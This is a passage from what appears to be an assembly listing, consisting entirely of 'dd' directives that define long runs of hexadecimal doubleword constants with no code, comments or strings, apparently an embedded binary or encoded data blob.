90539687h, 0DD6F42C5h dd 5EB1180Ch, 2EB4FB48h, 174FA291h, 0D0D0AE0Dh, 1083899h dd 6BF7EEFh, 20D3A1BDh, 9BCBE1B8h, 451D445Eh, 5F52366Ch dd 88941223h, 1F326BF1h, 17D04F8h, 86267230h, 79DB2054h dd 15B53C1h, 0D7743DB5h, 60C3042Bh, 0B069858Bh, 61F0526Eh dd 15B45E72h, 4562DC4h dd 0F8E9FB06h, 0E84C4D54h, 90FD1254h, 15ABC22Eh, 59C08B02h dd 0C2341FEFh, 0BF8A0AD4h, 2994E0F5h, 73092716h, 72FDF092h dd 0BE4EB00Fh, 7D3582ABh, 0B4EA55ABh, 4E1852F5h, 34C6DB16h dd 5ED7940h, 0F3010CB8h, 61B2BC50h, 0AA405AD1h, 9D681C1h dd 0E5B267Bh, 0E96736D0h, 44790FB1h, 450D9ED1h, 5F08A7F5h dd 0A200BD6Ah, 5431210Dh, 2614F6E5h, 10964DC2h, 603F18E1h dd 53F1B513h, 0D95D30E9h, 80BF255h, 146177C9h, 5991B921h dd 7F3D181Bh, 0FC103BC8h, 4BF0792h, 92B016Ch, 7023FB90h dd 9A0B26BEh, 826153CDh, 6DF2F922h, 29B7E202h, 7AF50C42h dd 0ADB51071h, 2D01241Ah, 5795182Ah, 0F480E735h, 4DB7F7E2h dd 926F48FDh, 4F8C14E8h, 7E1120C1h, 370015C7h, 4C015A8Ah dd 4EA9DC78h, 0B0B2888Fh, 3CF50400h, 3115F136h, 96733AE0h dd 8276231Eh, 0A9EA337Bh, 0A3710E7Bh, 0F0051D39h, 0D5518509h dd 0E53CF601h, 0CD01D8FCh, 0F1ADF433h, 0D4F20A2h, 0FED81141h dd 0F8EA1CE9h, 4B4D67FFh, 57D983C0h, 0D8F6BD92h, 0CB85F7C4h dd 0B010B6EBh, 0BD5D4FFh, 493CB690h, 7C8BEA77h, 784503Dh dd 0EE3F3400h, 0EB36A33Bh, 8C76BD04h, 0E6EF00F6h, 0FC199376h dd 0AB0EC20Ch, 6E5051F8h, 138D365Eh, 0ADDFF97Bh, 0FCC403DDh dd 0AB5048DEh, 174BE13Eh, 810C9B62h, 1591DD22h, 2978046Bh dd 0DDAF1D2Fh, 2963772Bh, 6BAF5E5Eh, 3F6102ECh, 0C2101DB5h dd 0AFA773E4h, 80881FD5h, 0AFCE3CEDh, 5B282BCFh, 7D18AA9Ah dd 69B92316h, 9CFEBF02h, 74A09A67h, 0F411B980h, 0C840137h dd 0F395B8CAh, 5621680Bh, 826AF2B7h, 70CCD9Bh, 88731F50h dd 3F5F0544h, 88DA28EBh, 1F3D7605h, 5DA26D8Dh, 0F99E5C00h dd 0FC2594A8h, 0A53B9800h, 1053A66Bh, 0F5E005Fh, 0BF665731h dd 5AF0DF13h, 0FD82C198h, 0BF80EEB7h, 439751B6h, 0A3261A09h dd 0FBDF48B3h, 0F042592Ah, 0F176F8E6h, 3A46E60h, 278D3139h dd 9CC72C35h, 6A601AE4h, 72090E4Fh, 8979EDA4h, 5894E63Ah dd 112AD660h, 0DA8101FAh, 25414BADh, 0CF9D6861h, 2F6CE66h dd 0FFD3FFFBh, 6D582B7Bh, 97300099h, 6E28F558h, 5BB805D8h dd 9F30FB5Ah, 9ED5BD89h, 0E3A293CCh, 168784A2h, 0A08AE625h dd 206F0CFh, 6AEAFA58h, 7D40F42Bh, 0D6821391h, 0AD9E27AEh dd 2D019A20h, 0AF03F38Bh, 265A2009h, 0E580489Bh, 6A1F64CDh dd 5C880E4Eh, 8F770051h, 7B252DEAh, 3A273E18h, 0A5A1CECAh dd 6316C435h, 0F0A883A6h, 2DED0DEFh, 0D9891865h, 0ADC4DDE9h dd 0E0B3ED2Ch, 0D70FB1CBh, 31088675h, 2607559Dh, 894560EFh dd 9300B992h, 0C690C5CAh, 0B958B36h, 1457BD83h, 21451264h dd 2B89F5DBh, 7ADBD920h, 0C8885A6Ch, 0B6E2DE4Dh, 0E97B4F0Ah dd 7E250B91h, 2C760E0Bh, 172E85AAh, 0F9EEB01h, 0F345E180h dd 500B63Bh, 96C15FAh, 0CD084195h, 7B2F52E7h, 7CACDCADh dd 0A3CB0D00h, 28520F86h, 5E8C52D5h, 1BE48770h, 218C9F60h dd 9AEC204h, 0EF85D2FBh, 0CCB65D25h, 427687E0h, 0BA222F00h dd 0DB52B94h, 0F7149F08h, 74F79B0h, 6B89F788h, 6A4C1285h dd 35203C45h, 5F3A25F7h, 9D89FF98h, 6B27512Dh, 2DA88D66h dd 1B3DF313h, 8BA210EDh, 14489293h, 64F3482Dh, 0EEF09004h dd 0C657812Dh, 1C6251FFh, 55E9495Fh, 88F3342Fh, 0C200A436h dd 1DEB0C53h, 0E651E7B6h, 0C14F05C3h, 0FBB05F21h, 3FF188E6h dd 75ED7B29h, 97DF8100h, 0E6107513h, 6BEA705Fh, 59820EF6h dd 289A586h, 10C7A404h, 0EA5F89F8h, 92D8D6Bh, 6E735B89h dd 0C95D70h, 0D16C54F2h, 0A967A53Fh, 0B4E796C2h, 1322D136h dd 58C58260h, 25790561h, 0C3B9E322h, 4A0468F9h, 8E840ADBh dd 294FF094h, 0F02D8D26h, 7F82DBCh, 97EF6008h, 0D9C0B097h dd 0B7D82B61h, 0AD813EF4h, 3D6CDEFh, 0B593B0F4h, 8E80593h dd 9F019E4Ah, 0DDE61475h, 7533504Dh, 39F8BD00h, 0C29CD4A8h dd 7DCA1B02h, 4D93F724h, 62E0EFE0h, 6A5C556Bh, 1AD90D27h dd 25F4DE9Fh, 0EB61649Ah, 2F16280Dh, 1437F5B0h, 9B465D25h dd 0E6C68104h, 0AE83F710h, 0DA1AF2BDh, 7046BB68h, 38000D63h dd 15D4BF5Ch, 358529A6h, 1756236Dh, 5BDABA5Bh, 0A273ACC1h dd 1DA49F25h, 45F0C6A7h, 0F0FA6663h, 1BB63BDh, 0BAD96F7h dd 38097C55h, 5F9695F5h, 0F98E78DBh, 0B4CFF846h, 0B0E2920h dd 2318501h, 0F3EB96Ch, 0EF88CA80h, 0DC92B6C3h, 5510F317h dd 9E2C8BFh, 31B9BD10h, 207EBB55h, 72D4D692h, 1821C202h dd 4AE04E34h, 70A2D3A1h, 10120FB4h, 0B713AFF1h, 0DA856B9Bh dd 0E52583E1h, 0D9580BF4h, 1E2001DBh, 200F8747h, 0D120BDF1h dd 0DFA60Ch, 8465AD20h, 265FA83Ah, 61E1A916h, 2150C0D2h dd 64A5B529h, 0DCFF601Ah, 0B0BF08E5h, 266E83Bh, 1A65837Bh dd 0D7E909Bh, 766F5525h, 0B580F244h, 5BDA9AD5h, 0FCD009A0h dd 4D5A5456h, 2796023h, 0F21C93E1h, 8BAC0626h, 0A159D08h dd 2F278F0Fh, 0E2D09842h, 9D44CCB4h, 4A953146h, 55E9BA9Dh dd 89424FDCh, 92757E8Dh, 0E77CA65Bh, 0A42B4EF3h, 0E6C05FDBh dd 55EE31FBh, 897BA104h, 90F821BDh, 8920FB5Fh, 8BAAA2h dd 7F5FB749h, 0D099CD58h, 0BF592ECCh, 1179FB5Eh, 0D8AE1988h dd 4A491440h, 11C60005h, 0C730697Eh, 2B6BE9A7h, 0A2560021h dd 0BFC08BDCh, 48009837h, 29DA3B57h, 1B05209Dh, 0E4544795h dd 0C731601Ah, 8A450A2Eh, 1CF9E6C0h, 0E181D4FBh, 0E485D29Fh dd 5F16F754h, 26A03727h, 0CA806983h, 0F1C0046Dh, 2AEA7ACh dd 31EF4114h, 56F101BAh, 0AF5725E4h, 0C442C2C9h, 66E5ABE9h dd 80DBB129h, 73BC9F0Fh, 91007032h, 0A2121192h, 0BCA5DD8Eh dd 18DBE93Bh, 0F28F2750h, 95DB103Dh, 2D992E34h, 64464DA5h dd 20986015h, 4ABE7D66h, 395A05DBh, 0E92AA414h, 81012341h dd 306930F1h, 0DE02F22Ch, 0E5C24E13h, 0D7438B30h, 0ECE4009Ah dd 0DD7C1913h, 0E590521Bh, 122BCD20h, 0E9BD335Fh, 0A29B4E06h dd 92BCB080h, 0E7F859AEh, 0B9EEBE00h, 9D09375Ch, 1F8EB655h dd 777C02F8h, 82556CFDh, 66515270h, 90DEBDF1h, 0CCF62512h dd 396C1CE0h, 2C053472h, 83BDDDCh, 122056A8h, 0E5438495h dd 0D1B819EDh, 28549E07h, 0F9858097h, 5FFFD0C1h, 9C1027Bh dd 51F8D595h, 0B537BFh, 685F8AAAh, 1120B523h, 0B8BEDC02h dd 642FE940h, 9DB669F7h, 0DB602392h, 86FD8903h, 4B5DED3Ah dd 0A4EC1CB9h, 4F00DEFFh, 155461BFh, 24D06726h, 86E7D13h dd 93B1695h, 0CA8D21D3h, 0E0FE4D4Eh, 191DB4ACh, 0E20F9619h dd 30400D50h, 0D110D19Dh, 830B340Dh, 0E6FD01E1h, 9DA1FEB1h dd 42AC40Dh, 0E2F2F621h, 2931A761h, 0E1DB160Eh, 798675C0h dd 4C793257h, 8531AC0Ah, 6196F239h, 0BDC1E983h, 986DD72Dh dd 770B50A8h, 82DFE7C4h, 80CC9B6h, 6B7A25A8h, 0CC783D93h dd 8BB01245h, 0F78A0DF1h, 5F576B52h, 0CE17086Eh, 52B27Ah dd 0D5E16C84h, 491B71Bh, 24D77DCFh, 4D888141h, 8258022Dh dd 3D2AD1EBh, 0CA01CC9Fh, 4B35AEF4h, 95822223h, 7122DB5h dd 69B22972h, 443D4E08h, 0C7518B02h, 8E0530E5h, 5FE33F53h dd 2D80D3DBh, 5626025Ch, 13B1E704h, 0ABC7D24Ch, 8490BFD2h dd 20957DBEh, 21E2E0F6h, 0EA5DE60h, 0C5504A83h, 81E6EF51h dd 6C64FCE0h, 3BA0C119h, 9FE4E8A8h, 63E32880h, 555782A3h dd 48D6B37Ch, 6D1566A7h, 0EFDDBF06h, 196BDD5h, 0ECB47DDAh dd 897F508Bh, 1353D99Dh dd 5D242534h, 0AD408C6Fh, 25BBED7Eh, 0E1E2D329h, 73551589h dd 781E5815h, 45C7AE05h, 6E04759h, 925F95D1h, 4F3D95CEh dd 7ECE7D40h, 8909B488h, 419F383h, 2904F8F9h, 0E8DCED2Ch dd 1ECF095Ch, 0ED71F7B4h, 28350A03h, 1713D3AEh, 7B1EC162h dd 0C3116C7h, 0A2AD7E12h, 55A8B2Ah, 56C77BEh, 2AED3D51h dd 0EF5F7E6Ah, 8D866635h, 35618270h, 0B99F802Ah, 0E590BA66h dd 4A2F3A1Dh, 0E95B8C5h, 6A3B5B2Dh, 977F0327h, 12BB2F91h dd 12AF2C5Ah, 0B861A948h, 3A97F43h, 0FE51063h, 1F76088Fh dd 818E8E4Ch, 85C76160h, 0B6D3172Dh, 61F5E1D0h, 9FB82129h dd 5801ABE0h, 0C49033A9h, 0B540D19Eh, 2D29DF7Bh, 2B80158Dh dd 9D6107EBh, 0E052E95Eh, 168000DBh, 1DCAAFDh, 2B3DBD11h dd 0DE23DF26h, 0ED134007h, 0FD2353Eh, 641E5E8Bh, 4BEB00CFh dd 0F0E0910h, 1AC53C2Fh, 0A4ACDA00h, 0D238D41Ch, 3E4B85Ch dd 0F53134CEh, 0B327A81Bh, 3D17929h, 2AC7DD5Bh, 0E7E717E6h dd 0DB67A1DFh, 19FC2A6h, 0E6412800h, 57DD427h, 0BBE9C372h dd 0E880AD0Eh, 0F37502FCh, 2CDBD89h, 18CEDD0Bh, 10896944h dd 5E1E118Dh, 2F201CFEh, 0D7038837h, 908DCC32h, 256AFD56h dd 6990FCE4h, 7201C8ABh, 0DA8BF9AEh, 6F3E04C2h, 0F0220439h dd 0B4C03A53h, 120B51D3h, 0FD267D9Dh, 0E1C02715h, 400420DBh dd 15401141h, 0FCBDADBAh, 0C13F9AFh, 9D8D88D0h, 7FAD782Fh dd 1145A934h, 46C51A08h, 2F094FACh, 4031CF1Ah, 0EF95BCE9h dd 7F1A0575h, 20AA07B3h, 0AC250475h, 8DA1027Bh, 23248085h dd 0AC4056EFh, 0F8FC51EDh, 47419E01h, 0A42D1083h, 5A000556h dd 8061B3D2h, 0B5A3752Ch, 0DDE2F711h, 0D757200Fh, 8E57E501h dd 71DB19B8h, 8064A87Fh, 0C0E9E381h, 5A6E3950h, 283498F4h dd 25848583h, 9A402404h, 0D0C8A5FEh, 0C429923Dh, 6079F035h dd 4AD08B3Ah, 5F6A88BFh, 0DFD52BBDh, 0D065EAEDh, 0EF5F81A2h dd 0E1A44060h, 95FF095Dh, 0A2DB1F21h, 171AED0h, 2114CEB3h dd 2E8A11BAh, 0D0BB0960h, 3D8B6BB2h, 1B10E3B7h, 468E7E04h dd 0D69C8208h, 51689241h, 0DFBD33A5h, 922616ECh, 0BC76F348h dd 40F637F0h, 3A7CC002h, 3BA2970h, 767B0EF2h, 90887B8Bh dd 95B579A1h, 4D64BA7Dh, 9CD1E00Fh, 1A903E29h, 0E4FD217h dd 2E8E8DEEh, 8D00A96Eh, 0FDD8B6A4h, 3E13A6CCh, 9E046038h dd 41209D9h, 0AE118516h, 0E861B945h, 0A7D2E220h, 0FD4129Ah dd 0BAD12084h, 63125F7Dh, 0DC305039h, 293D65FCh, 3F866CCh dd 59F88A57h, 0CA5E92C5h, 0BA02FE64h, 499B02D0h, 0DCCD5E58h dd 826ED200h, 0FF71285Eh, 9532E6B5h, 0A64A4DDh, 22799320h dd 7E6E6EF9h, 0A6EDEB00h, 9589687Dh, 0F704B95Ah, 0ACAAD0FFh dd 8A949D2Fh, 0DD80092Ch, 0C150A3Ch, 0FD8D2340h, 866B11Ah dd 0FB640A11h, 0F308F950h, 8BE2F640h, 0BE28558Dh, 0B5E263CBh dd 0D7AB7640h, 4C8504Fh, 0F2330323h, 6EC67886h, 6FBE0688h dd 90D36702h, 91385824h, 882A50CFh, 0CC005283h, 4A18272Dh dd 154358Eh, 2E896999h, 616F9157h, 0EC5CC24Dh, 13D56588h dd 0E3EA8860h, 94FB9B00h, 55AF742Eh, 0D2290068h, 4DB95860h dd 631789EEh, 305A61h, 2DAEDEBAh, 0D6CD20B7h, 291C2AE0h dd 23A813BEh, 7ADC21Fh, 2FB96600h, 2D0D935Ah, 0F5C0634Dh dd 1D754E03h, 6FD707FDh, 950B9A5Eh, 81F160D1h, 2E9D09F2h dd 38326963h, 0F95DB089h, 0DB7227B6h, 0F12FF84h, 80EDBB7h dd 0CC4F0F9h, 9A9AB01h, 0C5E672BCh, 21B59B0Fh, 2663F209h dd 0ED807756h, 2746F802h, 906D393Dh, 634D53D4h, 6085522Ch dd 0F8319D85h, 0EA613D00h, 0A636EBAFh, 0BA650170h, 3F229EFEh dd 0E009215Fh, 6628126Ch, 8B45F534h, 48D1E49h, 0B72A5951h dd 0CBE40820h, 262B0B99h, 0B600B6D2h, 9AC295F1h, 134AFBE1h dd 9B58560Fh, 0EC28077h, 23110CFh, 933AF115h, 527E525Dh dd 50AC2C40h, 98030B7Fh, 1881D268h, 0E43C10E4h, 5B715952h dd 0BF012893h, 35B21866h, 65953432h, 80E3AACh, 0E91CF201h dd 0D618081Dh, 78270D29h, 0B9F5950Fh, 0BE2A6C49h, 15818624h dd 68001701h, 0AAE46EB6h, 815CD9F6h, 96CD3F23h, 7A6304Fh dd 0CA8A29E0h, 40C97EBFh, 3169BD23h, 0C9007EBFh, 0A370D6FBh dd 7F5816F1h, 3F26E25Bh, 872E3F39h, 0D9F26C1Fh, 41D02500h dd 0E4520293h, 85BE7C24h, 0F29DAF49h, 6CF4B6F2h, 0B17D3B2h dd 0B344698Dh, 6EEA046Ah, 0EC65121Dh, 0C0002AE2h, 1421A6D9h dd 472D31F2h, 4AAC64E8h, 5ACCAB10h, 91B30082h, 3B1E2C13h dd 0F426D1F3h, 0DA12DB50h, 93818F25h, 81EB3C86h, 276A6051h dd 56A0B0EEh, 1E009869h, 6A6F0B8Fh, 1363943Eh, 10619E80h dd 8B092207h, 225658D8h, 0ED7F01DCh, 0D99533F2h, 0D3680005h dd 0A1D06EAh, 0E243481h, 0F7B11C77h, 3916D4A8h, 5D038494h dd 63174EC2h, 0FBE70E7Eh, 0F195FFB8h, 5FDE1F5Bh, 75FD409Ch dd 976AC6Ah, 0A027B905h, 0F1081992h, 75FDA078h, 0BDB183C9h dd 80547855h, 59687AB6h, 97DC2C0Ch, 0BFBB845Fh, 0E33617FDh dd 354B911Ch, 0A7994704h, 36830F3h, 65C9A99Dh, 0A2659390h dd 0D58A025Fh, 10BD6764h, 0E02E1Ch, 1DB1A956h, 7B5E67F4h dd 0EF4A5B18h, 1253502Ch, 8D5F5260h, 90E902F9h, 29701D53h dd 0E85D7653h, 2DF92A95h, 6E0B5F82h, 0DE250F2Dh, 5EC9C97Fh dd 99C6405Ch, 0CDE0F1DBh, 0D28ED100h, 82FDFEDFh, 7D10090Bh dd 485FFA2h, 0E8CD4945h, 79C26410h, 648E4B00h, 62D486A6h dd 0F30305C8h, 40334E99h, 71088A31h, 0D90035C5h, 28C85101h dd 11BEF4Bh, 6DACF721h, 7F505B60h, 3607CCBDh, 0F0692F6Fh dd 0EE8AABE4h, 7CA3BB96h, 4F42658h, 8B8AC176h, 886185FAh dd 230C60E3h, 0E1CE985h, 990300BAh, 8D615C30h, 0F4D64FB5h dd 30C7969Bh, 0A7FC12BAh, 22960B78h, 89390504h, 7204BF85h dd 1C190DADh, 9A70FDBFh, 421E53E9h, 7A5457FCh, 706053E9h dd 4329686Fh, 8C80CC28h, 0D39A04BFh, 6C740355h, 0E27F3F1h dd 0A094A5C8h, 0C3987DE4h, 257BB797h, 312C74C6h, 5086413h dd 0B5243B16h, 628947F5h, 0C7011341h, 0D4F27085h, 34646BBDh dd 7B947600h, 80183889h, 9520707Eh, 17D905Dh, 5B92D9Dh dd 0C985B2C8h, 268D0B40h, 250D2046h, 6F256298h, 737426CDh dd 8D43DE61h, 0B6254A47h, 0B4E4E047h, 806C01F5h, 0DA833A01h dd 0C56E3A40h, 0E81C13h, 0B4D9CFBCh, 0F0C53880h, 0FF0D485h dd 94B55B09h, 1518CA0h, 839D8D2Ah, 0EA20BB01h, 0F948364Fh dd 995C4294h, 0B82D4235h, 0D52080FCh, 7257954h, 0C29041CFh dd 0E908E007h, 4B0475E4h, 830F17DAh, 0D38697A8h, 2F7C525Fh dd 28198422h, 0C14A8D89h, 0F407E9BCh, 83B3583Bh, 85C3B56Eh dd 5CE640CEh, 6A0E37E0h, 502D5701h, 2F0DBD89h, 45A2607Ah dd 2300274Eh, 91B20CCCh, 2CAC4FCh, 0FF7A5440h, 0FB72BD83h dd 3E8124A9h, 1B8871CFh, 204832C0h, 0A1654F76h, 3176326h dd 0C26F336Eh, 0F1598FCh, 5080096Bh, 0F623CF8Bh, 81DCB060h dd 120F9F8h, 4A3C0361h, 35800493h, 0DDA81627h, 5A408D3Eh dd 2962C665h, 8892D4C5h, 0DCA05E58h, 0C6BF3E01h, 90AE858Bh dd 2DDAA09Dh, 0D0701C53h, 513225FAh, 0E9C8AD09h, 0F809D181h dd 84494230h, 0BAF26C68h, 0C00B247Ch, 0F9B8136Fh, 0FDF9EDE6h dd 920BE2Ah, 41A19D2Bh, 144E472Eh, 7B610B31h, 989F7018h dd 0F84F8400h, 5935453Bh dd 28D59BD7h, 4CCB137Ah, 0B96665C4h, 0BC044981h, 0F2B1216h dd 0CABE308Ah, 3D9599E9h, 699E8021h, 66DF8B10h, 59E4B909h dd 55B5561h, 0E217DC58h, 2FC6FEF8h, 0D63D011Ch, 0A01AB90Eh dd 186A7943h, 0C8172637h, 13FD1320h, 80F9B816h, 9F63017Bh dd 6BA900A0h, 335E70Ah, 9BFA9E0Eh, 0FFC4D326h, 2C45B505h dd 0D52F3789h, 68C680F5h, 802DADE8h, 249E11Bh, 5A1FB710h dd 0E80D8D94h, 6E69222Dh, 0F80EABB8h, 129DB531h, 0E21CF3AAh dd 2B033016h, 8E884F5Bh, 875016Bh, 0B2211CA2h, 7A463FFh dd 2FF8DFB9h, 0F9AE07C9h, 0D0E5D399h, 0BC00386Dh, 0BBA835Ah dd 45FDBD01h, 0BE6B542Bh, 0A007A97Ah, 61E8D37Fh, 0D5F74D61h dd 7A216B8Ah, 21DD8FCCh, 0BB8203Ah, 85A519Dh, 20052292h dd 0A8EA7025h, 0CE11AF5Ch, 0CB8CC020h, 995A4DE0h, 2FE814AFh dd 9163B300h, 0F03C4A3h, 4BA1E92Eh, 2F1FA038h, 4E9B615Ah dd 0AD60F8F2h, 90800CD9h, 504A38B7h, 0FC1B20CEh, 9D0FEC2Eh dd 857F3612h, 0CC82905Ah, 2F475EC1h, 0C3940E1Bh, 0CB3D0714h dd 40A50DBAh, 3B36A941h, 1C437CF0h, 0CC62B00Ch, 9F9D2E5Dh dd 482B0CAh, 8B070FADh, 0D1C0967h, 0BF28D2C0h, 3D7D0CF1h dd 648DDFE8h, 0BED75DEh, 56000CB8h, 0F2713F3Dh, 0A2B04F2Ch dd 422757E5h, 0BD285081h, 0B79D4CD7h, 635E006Dh, 0ED67BA66h dd 7D9D290Ah, 0D4499E1Dh, 0A0C117BCh, 89EB8D9Fh, 0D408C2F3h dd 2200DE5Ah, 911F71C2h, 26705567h, 8628C3Ah, 0C0921DA5h dd 28E0CCA6h, 0C60B7AA5h, 0C4746DD8h, 0E63F3D29h, 2F28BC80h dd 0A07C26C8h, 5C64AC04h, 27C0962Bh, 17CBBF60h, 4470413h dd 15161D3Bh, 27B12293h, 0EA5ED981h, 0B7076E2Ch, 0D1F289CAh dd 0D5565508h, 0E3FB6065h, 253522CEh, 6C55016Ah, 79931109h dd 1D4E6422h, 0C1FE8B40h, 68620CEFh, 6820043Ch, 0F45702AEh dd 0D58ABF0Dh, 0EA34347Dh, 9BA63465h, 30DF6802h, 0FFD1A9C5h dd 0A9423FA1h, 0BD0E850Eh, 6A502A91h, 56057C8Dh, 6112006Eh dd 0E075C1C3h, 686E605Bh, 0F0854D00h, 0B9C752BCh, 0D817FE25h dd 8D030933h, 795515A1h, 438F84Bh, 2E41CD8Fh, 0D74D2BBAh dd 0D8B1660h, 0B1B424F0h, 12190878h, 0ED09A224h, 0FCBA1A2Ch dd 311026h, 0ED15BF66h, 6343E861h, 598D9F08h, 0B5AA2162h dd 0FA51042Ah, 5E4C1520h, 9D0300F2h, 8DF5B72Fh, 0CE01945Bh dd 0CFE8E277h, 0B2FC79CAh, 5E17EE5Fh, 0A095B708h, 1106F11h dd 6EB63291h, 0B8513C5Eh, 5130A896h, 3D157D2Dh, 40DE1FA3h dd 5C8E138Bh, 0BF5DE8B5h, 8D2B1E12h, 17330F14h, 9ED01D15h dd 6BE8DEEBh, 0EDFF2BAAh, 95CC608Bh, 0D10197BFh, 921481B0h dd 391010E8h, 0E61FF129h, 0DB4058D0h, 6CF4E4E2h, 0B9010971h dd 0AC35EE0h, 8956E388h, 0B84F9C94h, 950F41ACh, 805137F5h dd 8B82DD2Dh, 386FE8F2h, 0B52382E5h, 590C4931h, 99D5BAFFh dd 0DAD25C2h, 870E253h, 54AC0E30h, 94CFD5BEh, 0D4FBE865h dd 0EB6F47h, 22C0662Fh, 0C5A93595h, 0BC1EB1A2h, 0CBE8873Ah dd 474FEF69h, 9269006Dh, 347E3659h, 17B9F305h, 0C14585ACh dd 7AAA1ECDh, 87DD0016h, 8F293FA5h, 0FD42266Ch, 71E80DD9h dd 0BD8240B5h, 16832E99h, 0C429854Eh, 0B8AAE9EDh, 0F5803960h dd 0F0A55AFCh, 3A69E859h, 7114736Fh, 3C9BD0CCh, 54967C17h dd 40A566E0h, 854A0F02h, 2FEA8CFEh, 45C68BE5h, 0F47ADC15h dd 2EA1DE01h, 5DCE8FFh, 0CB03B37h, 0DE01C8B7h, 841389A4h dd 49011858h, 0ACE80107h, 0C6816181h, 2BFF5B13h, 105D2004h dd 40E6001Fh, 0E862B5C3h, 8B2F9563h, 682648FAh, 6F99EA4Ah dd 5B70C6Ah, 0FC897C61h, 1575308Bh, 0BCD02F73h, 63EB9849h dd 4DE89D21h, 0A85C5F6Eh, 2FC12C01h, 3CE8A1C8h, 104323DEh dd 12505811h, 0BA2D012Ch, 0CEF06EA6h, 7616D0E4h, 0F5E03955h dd 11E40BDh, 613E40EBh, 6C0570BFh, 0F8E878B4h, 0CAF99A92h dd 5446CA9Bh, 9201DCFFh, 5209A7EDh, 9B247BD2h, 0B9E9A839h dd 0EF500E9Dh, 9B17B03Bh, 31BF810Dh, 872A806Ah, 888934A6h dd 0AA76BE72h, 2F652B3Fh, 824C718Ch, 5A73BBC3h, 5CAD2BDDh dd 0AA00DEA9h, 3EAF7771h, 5B064C87h, 0D988B07Ch, 3B407A9Ch dd 0C939E037h, 525CACB0h, 104372Fh, 0C4FB6B08h, 0B6942A1Bh dd 0D1D77500h, 95A1E670h, 0B755B242h, 0C5580B7Eh, 20403978h dd 9BD85B2Bh, 0FC1A80EFh, 0E4515093h, 40619C52h, 0F7D37CEh dd 3C414302h, 54597BC2h, 0D60AC051h, 0E200EAA2h, 80BED1DDh dd 407A65A3h, 934F5986h, 0D3000A6Eh, 6E77FAAFh, 0D6B8950Dh dd 53304925h, 0BB019247h, 0DE4245A5h, 5B85A4DDh, 3FE080F6h dd 8D129012h, 7942B195h, 0D5F5CD80h, 0BB1A9A85h, 9500956Fh dd 8CE5AA5Ch, 0D058CC07h, 0BF8041Eh, 0D6943DB5h, 5995FD80h dd 3458431h, 61DE5040h, 0F0425B89h, 26416914h, 3027A8BBh dd 80D39653h, 17344314h, 0B98509CBh, 5EEA69ADh, 7A74DC7Ah dd 0C0D2BF03h, 0B16651D6h, 5D43FA0Ah, 21B216F8h, 3CC17B07h dd 732F04E4h, 34AE0837h, 0E9CD26Dh, 51FA780Bh, 0A104661Dh dd 0DB86E01Ah, 0ECDD7057h, 0AF277A02h, 0CC870F2Eh, 0EAE917CBh dd 8A038D2Bh, 0D20ABD80h, 0EB1D944h, 66E7Bh, 67F15823h dd 66EEBDF5h, 0D8F6CEC9h, 28DCF0B4h, 9F86290Ch, 35E1BD4Dh dd 0AD7007A2h, 8172A949h, 2CF6B854h, 9C496EE0h, 0A6322104h dd 90965FB4h, 0B8379DE4h, 5DB4D00h, 0B873A0Dh, 0C0D31788h dd 4940B0DCh, 2B1E5Ch, 0BB124098h, 3D3EA524h, 9C7F973Ch dd 50A5EFB3h, 0B4D70A4Ah, 0AD985E62h, 63BE8058h, 6EF12140h dd 90280067h, 773B92E3h, 0D80EB4C9h, 29475E9Bh, 107FD6A6h dd 95A07A2Fh, 0DEBB2BA9h, 287F11D8h, 948ECD1Ah, 961ADC5Ch dd 5CD39CB0h, 7C18DCF5h, 91CCC668h, 0CB8B8020h, 558892D6h dd 9C1901F3h, 70BDCFD1h, 3471B052h, 9F1F119Dh, 9082A6B7h dd 0F830227Dh, 0CBDF147Eh, 8D25B2A8h, 0F61AB3A5h, 0B499E0B6h dd 186E0368h, 88726ABBh, 9225AAEh, 0E6424B1Fh, 6BDF053h dd 15CC69E9h, 0BFDC41F4h, 0B66287F6h, 771CEAB1h, 9A032BB7h dd 4F5FFB74h, 0CEE1883Eh, 0C4BF4C00h, 0AF8C0D6Fh, 78E0FBBDh dd 272E12D9h, 3BA6EE43h, 890AF2F0h, 0D2D19D26h, 64C5B542h dd 0A837BD8Ch, 1755CC80h, 12EBF16h, 89012BEDh, 4075D95h dd 937FB8BAh, 0F06D100Eh, 24DCBF01h, 9EC3439Eh, 2EA03D18h dd 935C58Ah, 82C80FD5h, 0C04F8BFFh, 2CE0B3A6h, 0E50B2EA7h dd 4F644588h, 0F35549A3h, 0B385168h, 0E7E4B6D3h, 0B504F5C5h dd 0BCBA1EC9h, 917CC778h, 0F2CEC89h, 8F4D8916h, 0BADF7524h dd 0B3E9D412h, 0EFF05E34h, 1D23FB6Bh, 69657725h, 2E97EE20h dd 0E6B3E5F6h, 9DF17EF1h, 12C3D6C6h, 0BC07A96Ah, 98DB16FAh dd 8080A8D0h, 18313D48h, 72200524h, 0BC75AEB6h, 0ACEE809Fh dd 252D6FAh, 9EB0C849h, 0C14A78E5h, 0BBE0736Dh, 1D556E8Fh dd 425AA921h, 0D88BC8BAh, 4031A780h, 0BDE80623h, 3FC4914Eh dd 6FE412EFh, 72180E3Fh, 4CCB605Eh, 1DFCB20Ah, 0A96BF50h dd 0A7AC7E1Eh, 0DC00F1B7h, 5F9AC863h, 0B0AB09F8h, 34736ADBh dd 1668378h, 8998DFDCh, 491B058Dh, 0F40645F2h, 951229BDh dd 75AA3021h, 0EB2BC2Fh, 338D0846h, 17508CE9h, 2F316429h dd 0C0509BD1h, 20147FCBh, 97F703C2h, 574033D9h, 4ACD9622h dd 0A8DCBB5Fh, 9A008B21h, 6AED2BE7h, 0B49D3102h, 5573A86Bh dd 0C26AC0F9h, 6C8211E6h dd 0B3042F55h, 0D744481h, 10B48B3Eh, 0A84A403Bh, 6987801Eh dd 245BCFDFh, 4E1BB2Eh, 845F07F0h, 503BFC2Eh, 8E50E431h dd 0BD102B90h, 90300DC9h, 0B750DF20h, 23097077h, 5714399Dh dd 51AD58D3h, 0C844A51Ah, 0F308AC00h, 8B2A0B0Ch, 0BB804AC9h dd 207A8F8Dh, 41C7EABFh, 80EF583Ch, 27205FD2h, 4F6FC1D5h dd 6736B340h, 1FF8B19Eh, 59416F6Ah, 0B5750712h, 0F301DCE5h dd 0AB2F0791h, 0AEE9D763h, 29510573h, 490B0DBDh, 0DA0BB0D7h dd 316139DEh, 5F10CD95h, 9DEC70E6h, 0E4576961h, 30605071h dd 5FF2A8D9h, 4E4B9003h, 2560B308h, 0DAFC91B5h, 3F3F33C8h dd 0B6006516h, 0D006BBC8h, 869E1483h, 0C18BF540h, 410B44E9h dd 310E2961h, 9AF4661Eh, 13914FAEh, 85C20542h, 9925AF06h dd 0E0E5420Ah, 0C6C82B8Ch, 0E507EF29h, 0C40EBAD1h, 7DE2D2B4h 